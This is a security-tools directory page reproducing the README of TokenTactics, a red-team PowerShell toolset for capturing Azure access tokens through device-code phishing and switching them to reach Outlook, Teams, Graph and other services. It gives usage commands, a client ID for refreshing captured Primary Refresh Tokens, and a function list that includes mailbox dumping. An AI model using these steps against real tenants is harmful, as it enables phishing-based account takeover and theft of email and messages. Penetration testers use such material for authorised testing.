New Security Researchers Join 10.8K+ verified researchers — submit your profile for review Submit profile →
SecurityCipher
Home Blog Labs Checklists Writeups

Learn Roadmaps, courses & vulnerability guides

  • 🗺️ Penetration Testing Roadmap Structured offensive security path
  • 🎓 Free Security Courses Verified courses and coupon drops
  • 🎯 Penetration Testing Tricks Field notes & real bypasses
  • 📄 Secure Code Explain Vulnerable vs secure code comparison
  • 📖 Vulnerability Explain Root causes, PoCs, and remediation
  • 🚀 Start Here Beginner walkthrough of all resources

Practice Hands-on browser labs, games & SOC simulator

  • 🔬 Interactive Labs SQL injection, AI, AWS cloud review
  • 🎮 Security Games Phishing, JWT, WAF, and more
  • 🛡️ Shift Zero SOC desk: phish, OTP, malware, tickets
  • 🚗 On-Call Drive Neon-city arcade security missions
  • ❓ Application Security Quiz Web, secure coding, and cloud quizzes
  • ⚡ Threat Explorer Interactive AI & vuln attack flows

Checklists & Tools 1,760+ testing controls, utilities & standards

  • ✅ Security Checklists Hub Web, cloud, mobile, API, and infra
  • 🛠️ Security Tools Curated recon, SAST, and bounty tools
  • 📋 Writeup Checklists Methodologies derived from real writeups
  • 🤖 OWASP LLM Top 10 Interactive risk matrix for AI apps
  • 🔎 CVE Lookup Multi-source CVE search & threat intel
  • 📘 Payload Field Manual Safe-first probes, signals, and cheats

Career & Community Live scopes, verified researchers & jobs

  • 💰 Bug Bounty Programs Searchable directory of active scopes
  • 💼 Cybersecurity Jobs Verified roles from company career sites
  • 🧑‍💻 Security Researchers Community profiles and submissions
  • 🎤 Security Conferences Upcoming global infosec events
  • 🧮 CVSS Severity Calculator Accurate CVSS 3.1 & 4.0 calculator
  • 🧭 Career Roadmaps AppSec, Cloud, and SOC career paths
Browse All Resources 1,760+ Checklists • 18K+ Writeups • 15+ Interactive Labs Freelance Security →
About
Freelance SecurityFreelance
← Security Tools View on GitHub

TokenTactics

Azure token manipulation tactics for red teams.

TokenTactics

Azure JSON Web Token ("JWT") Manipulation Toolset

Azure access tokens allow you to authenticate to certain endpoints as a user who signs in with a device code. Even if they used multi-factor authentication. Once you have a user's access token, it may be possible to access certain apps such as Outlook, SharePoint, OneDrive, MSTeams and more.

For instance, if you have a Graph or MSGraph token, you can then connect to Azure and dump users, groups, etc. You could then, depending on conditional access policies, switch to an Azure Core Management token and run AzureHound. Then, switch to an Outlook token and read/send emails or MS Teams and read/send messages!

For more on Azure token types Microsoft identity platform access tokens

There are some example requests to endpoints in the resources folder. There is also an example phishing template for device code phishing.

You may also use these tokens with AAD Internals as well. We strongly recommended to check this amazing tool out.

Installation and Usage

Import-Module .\TokenTactics.psd1

Get-Help Get-AzureToken

Invoke-RefreshToSubstrateToken

Generate Device Code

Get-AzureToken -Client MSGraph Once the user has logged in, you'll be presented with the JWT and it will be saved in the $response variable. To access the access token use $response.access_token from your PowerShell window to display the token. You may also display the refresh token with $response.refresh_token. Hint: You'll want the refresh token to keep refreshing to new access tokens! By default, Get-AzureToken results are logged to TokenLog.log.

DOD/Mil Device Code

Get-AzureToken -Client DODMSGraph

Refresh or Switch Tokens

Invoke-RefreshToOutlookToken -domain myclient.org -refreshToken 0.A

$OutlookToken.access_token

Connect

Connect-AzureAD -AadAccessToken $response.access_token -AccountId user@myclient.org

Refresh a PRT

Once a PRT has been captured, auth with roadrecon to obtain your access_token and refresh_token. When refreshing with TokenTactics, use ClientID 1b730954-1685-4b74-9bfd-dac224a7b894.

Invoke-RefreshToMSGraphToken -domain myclient.org -ClientId 1b730954-1685-4b74-9bfd-dac224a7b894 -refreshToken 0.A

Clear tokens

Invoke-ClearToken -Token All

Commands

Get-Command -Module TokenTactics

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Invoke-ClearToken                                        0.0.2      TokenTactics
Function        Invoke-DumpOWAMailboxViaMSGraphApi                       0.0.2      TokenTactics
Function        Invoke-ForgeUserAgent                                    0.0.2      TokenTactics
Function        Get-AzureToken                                           0.0.2      TokenTactics
Function        Get-TenantID                                             0.0.2      TokenTactics
Function        Invoke-OpenOWAMailboxInBrowser                           0.0.2      TokenTactics
Function        Invoke-ParseJWTtoken                                     0.0.2      TokenTactics
Function        Invoke-RefreshToAzureCoreManagementToken                 0.0.2      TokenTactics
Function        Invoke-RefreshToAzureManagementToken                     0.0.2      TokenTactics
Function        Invoke-RefreshToDODMSGraphToken                          0.0.2      TokenTactics
Function        Invoke-RefreshToGraphToken                               0.0.2      TokenTactics
Function        Invoke-RefreshToMAMToken                                 0.0.2      TokenTactics
Function        Invoke-RefreshToMSGraphToken                             0.0.2      TokenTactics
Function        Invoke-RefreshToMSManageToken                            0.0.2      TokenTactics
Function        Invoke-RefreshToMSTeamsToken                             0.0.2      TokenTactics
Function        Invoke-RefreshToO365SuiteUXToken                         0.0.2      TokenTactics
Function        Invoke-RefreshToOfficeAppsToken                          0.0.2      TokenTactics
Function        Invoke-RefreshToOfficeManagementToken                    0.0.2      TokenTactics
Function        Invoke-RefreshToOutlookToken                             0.0.2      TokenTactics
Function        Invoke-RefreshToSubstrateToken                           0.0.2      TokenTactics
Function        Invoke-RefreshToYammerToken                              0.0.2      TokenTactics

Authors and contributors

  • @0xBoku co-author and researcher.

TokenTactic's methods are highly influenced by the great research of Dr Nestori Syynimaa at https://o365blog.com/.

Press Escape to close the search panel.

Donate

Buy me a Coffee

Penetration Testing Services

penetration Testing Services

Web Application Security Quiz

Web Application Security Quiz

Daily Bug Bounty Writeups - Twitter

Daily Bug Bounty Writeups

Download our Latest Android Application

Guide for Penetration Testing

Daily Bug Bounty Writeups - Telegram

Daily Bug Bounty Writeups

Author

Piyush
Senior Product Security Engineer

Ethical Hacker || Penetration Tester || Gamer || Blogger || Product Security Engineer || AI Security

READ ARTICLE

Donate

Buy me a Coffee

Recent Posts

  • Inside Java2Shell (CVE-2026-114938)
    Inside Java2Shell (CVE-2026-114938)
    November 18, 2026/
    0 Comments
  • Why GTA 5 Was a Hacker’s Playground — And The Exact Security Architecture GTA 6 Needs
    Why GTA 5 Was a Hacker’s Playground — And The Exact Security Architecture GTA 6 Needs
    November 18, 2026/
    0 Comments
  • Securing the AI Supply Chain: A Hands-On AI-BOM Playbook for Pickle RCE, Poisoned Datasets, and CI Gates
    Securing the AI Supply Chain: A Hands-On AI-BOM Playbook for Pickle RCE, Poisoned Datasets, and CI Gates
    November 17, 2026/
    0 Comments

Follow Us

SECURITY DISPATCH

Subscribe to SecurityCipher

Get the latest bug bounty writeups, offensive security tooling, and zero-day analyses delivered to your inbox.

Subscription Form

SecurityCipher

Practical security guides, vulnerability deep-dives, and hands-on resources for bug bounty hunters and penetration testers.

Useful Links

  • Security Checklists
  • Cybersecurity Jobs
  • Blogs
  • Docs
  • About
  • Contact

Free Resources

  • Interactive Security Labs
  • Security Tools Directory
  • Pentest Roadmap
  • OWASP LLM Top 10
  • Bug Bounty Writeups
  • Bug Bounty Programs
© 2026 Security Cipher. All rights reserved. Privacy Policy · Terms & Conditions · DMCA ·
PRIVACY & DATA CONTROLS

Privacy & Cookie Preferences

We use essential cookies to maintain secure sessions and analyze anonymized telemetry to optimize our research and interactive labs.

Manage anytime via our Privacy Policy or footer settings.

Security Researchers
Security Researchers
OPEN DIRECTORY Verified Network

Are you a security researcher or bug hunter?

Join our open directory of verified pentesters, showcase your achievements, and get recognized!

Submit Researcher Profile →